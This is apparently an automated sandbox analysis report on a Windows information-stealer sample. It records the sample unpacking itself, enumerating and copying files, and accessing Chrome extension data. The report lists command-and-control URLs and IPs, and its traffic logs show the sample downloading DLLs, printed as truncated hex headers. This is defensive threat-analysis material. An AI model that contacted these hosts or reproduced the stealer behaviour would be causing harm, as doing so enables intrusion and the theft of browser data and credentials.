CryptQueryObject,CryptMsgGetParam,moz_xmalloc,memset,CryptMsgGetParam,CertFindCertificateInStore,free,CertGetNameStringW,moz_xmalloc,memset,CertGetNameStringW,CertFreeCertificateContext,CryptMsgClose,CertCloseStore,CreateFileW,moz_xmalloc,memset,memset,CryptQueryObject,free,CloseHandle,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,moz_xmalloc,memset,GetLastError,moz_xmalloc,memset,CryptBinaryToStringW,_wcsupr_s,free,GetLastError,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,__Init_thread_footer,__Init_thread_footer,	0_2_6C6E6C80

Compliance

Detected unpacking (overwrites its own PE header)

Source: C:\Users\user\Desktop\file.exe	Unpacked PE file: 0.2.file.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\Temp\1000016001\9fa327eb6c.exe	Unpacked PE file: 21.2.9fa327eb6c.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\Temp\1000016001\9fa327eb6c.exe	Unpacked PE file: 25.2.9fa327eb6c.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\Temp\1000016001\9fa327eb6c.exe	Unpacked PE file: 34.2.9fa327eb6c.exe.400000.0.unpack

Source: file.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: C:\Users\user\Desktop\file.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Jump to behavior

Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.5:49795 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.5:49845 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.5:49848 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.5:49852 version: TLS 1.2

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.2521033172.000000006C74D000.00000002.00000001.01000000.00000008.sdmp
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.2521346401.000000006C90F000.00000002.00000001.01000000.00000007.sdmp
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.2521346401.000000006C90F000.00000002.00000001.01000000.00000007.sdmp
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.2521033172.000000006C74D000.00000002.00000001.01000000.00000008.sdmp

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0040D8C0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	0_2_0040D8C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0040F4F0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_0040F4F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0040BCB0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	0_2_0040BCB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004139B0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	0_2_004139B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0040E270 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	0_2_0040E270
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00401710 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00401710
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004143F0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_004143F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0040DC50 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_0040DC50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00414050 GetProcessHeap,HeapAlloc,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlenA,lstrlenA,	0_2_00414050
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0040EB60 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlenA,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	0_2_0040EB60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004133C0 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,lstrcat,lstrlenA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose,	0_2_004133C0

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Source: firefox.exe

Memory has grown: Private usage: 1MB later: 221MB

Networking

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: http://85.28.47.31/5499d72b3a3e55be.php
Source: Malware configuration extractor	URLs: http://85.28.47.31silence
Source: Malware configuration extractor	IPs: 185.215.113.19

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 27 Jul 2024 10:01:08 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 14:30:30 GMTETag: "10e436-5e7eeebed8d80"Accept-Ranges: bytesContent-Length: 1106998Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 02 0d 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 25 0b 00 00 10 00 00 00 26 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 40 0b 00 00 28 00 00 00 2c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 70 44 01 00 00 70 0b 00 00 46 01 00 00 54 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 c0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 88 2a 00 00 00 d0 0c 00 00 2c 00 00 00 9a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 00 0d 00 00 0e 00 00 00 c6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 10 0d 00 00 02 00 00 00 d4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 20 0d 00 00 02 00 00 00 d6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 30 0d 00 00 06 00 00 00 d8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 18 3c 00 00 00 40 0d 00 00 3e 00 00 00 de 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 80 0d 00 00 06 00 00 00 1c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 90 0d 00 00 ca 00 00 00 22 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 60 0e 00 00 28 00 00 00 ec 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 9a 2d 00 00 00 90 0e 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 27 Jul 2024 10:01:13 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "a7550-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 685392Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e 0a 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 95 0c 08 00 00 10 00 00 00 0e 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c4 06 02 00 00 20 08 00 00 08 02 00 00 12 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 3c 46 00 00 00 30 0a 00 00 02 00 00 00 1a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 80 0a 00 00 02 00 00 00 1c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 90 0a 00 00 04 00 00 00 1e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f0 23 00 00 00 a0 0a 00 00 24 00 00 00 22 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 27 Jul 2024 10:01:14 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "94750-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 608080Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc 08 00 dc 03 00 00 e4 5a 08 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 61 b5 07 00 00 10 00 00 00 b6 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 94 09 01 00 00 d0 07 00 00 0a 01 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 1d 00 00 00 e0 08 00 00 04 00 00 00 c4 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 00 09 00 00 02 00 00 00 c8 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 15 00 00 00 00 10 09 00 00 02 00 00 00 ca 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 08 00 00 00 20 09 00 00 0a 00 00 00 cc 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d8 41 00 00 00 30 09 00 00 42 00 00 00 d6 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 27 Jul 2024 10:01:14 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "6dde8-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 450024Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 06 00 00 04 00 00 2c e0 06 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 67 04 00 82 cf 01 00 e8 72 06 00 18 01 00 00 00 a0 06 00 f0 03 00 00 00 00 00 00 00 00 00 00 00 9c 06 00 e8 41 00 00 00 b0 06 00 ac 3d 00 00 60 78 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 77 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 06 00 e4 02 00 00 c0 63 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 92 26 06 00 00 10 00 00 00 28 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 48 29 00 00 00 40 06 00 00 18 00 00 00 2c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 ac 13 00 00 00 70 06 00 00 14 00 00 00 44 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 34 00 00 00 00 90 06 00 00 02 00 00 00 58 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f0 03 00 00 00 a0 06 00 00 04 00 00 00 5a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 3d 00 00 00 b0 06 00 00 3e 00 00 00 5e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 27 Jul 2024 10:01:15 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "1f3950-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 2046288Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca 1d 00 5c 04 00 00 80 26 1d 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 89 d7 19 00 00 10 00 00 00 d8 19 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 6c ef 03 00 00 f0 19 00 00 f0 03 00 00 dc 19 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 52 00 00 00 e0 1d 00 00 2e 00 00 00 cc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 40 1e 00 00 02 00 00 00 fa 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 50 1e 00 00 04 00 00 00 fc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 5c 08 01 00 00 60 1e 00 00 0a 01 00 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 27 Jul 2024 10:01:17 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "3ef50-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 257872Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b 03 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 